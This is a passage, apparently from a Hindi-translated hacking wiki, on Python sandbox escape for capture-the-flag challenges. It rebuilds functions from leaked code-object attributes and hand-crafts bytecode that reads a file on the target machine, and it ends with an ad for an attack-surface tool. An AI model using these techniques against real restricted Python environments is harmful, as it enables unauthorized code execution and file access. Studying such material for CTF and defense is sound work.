code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
आपके द्वारा चलाए जा रहे पायथन संस्करण के अनुसार code_type के पैरामीटर का विभिन्न क्रम हो सकता है। यह जानने का सबसे अच्छा तरीका है कि आप जिस पायथन संस्करण को चला रहे हैं, उसमें पैरामीटर का क्रम जानने के लिए चलाएँ:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
लीक की गई फ़ंक्शन को फिर से बनाना
निम्नलिखित उदाहरण में, हम फ़ंक्शन कोड ऑब्जेक्ट से फ़ंक्शन को फिर से बनाने के लिए आवश्यक सभी डेटा लेंगे। एक वास्तविक उदाहरण में, फ़ंक्शन code_type को निष्पादित करने के लिए सभी मान वह हैं जो आपको लीक करने की आवश्यकता होगी।
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Bypass Defenses
In previous examples at the beginning of this post, you can see कैसे किसी भी python कोड को compile फ़ंक्शन का उपयोग करके निष्पादित करें. यह दिलचस्प है क्योंकि आप पूरे स्क्रिप्ट्स को लूप और सब कुछ के साथ एक लाइन में निष्पादित कर सकते हैं (और हम exec का उपयोग करके भी ऐसा कर सकते हैं).
खैर, कभी-कभी यह स्थानीय मशीन में एक संकलित ऑब्जेक्टबनाने और इसे CTF मशीन में निष्पादित करने के लिए उपयोगी हो सकता है (उदाहरण के लिए क्योंकि हमारे पास CTF में compiled फ़ंक्शन नहीं है).
For example, let's compile and execute manually a function that reads ./poc.py:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
यदि आप eval या exec तक पहुँच नहीं सकते हैं, तो आप एक सही फ़ंक्शन बना सकते हैं, लेकिन इसे सीधे कॉल करना आमतौर पर विफल हो जाएगा: constructor restricted mode में उपलब्ध नहीं है। इसलिए आपको इस फ़ंक्शन को कॉल करने के लिए restricted environment में नहीं होने वाला फ़ंक्शन चाहिए।
अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें
महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है। हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।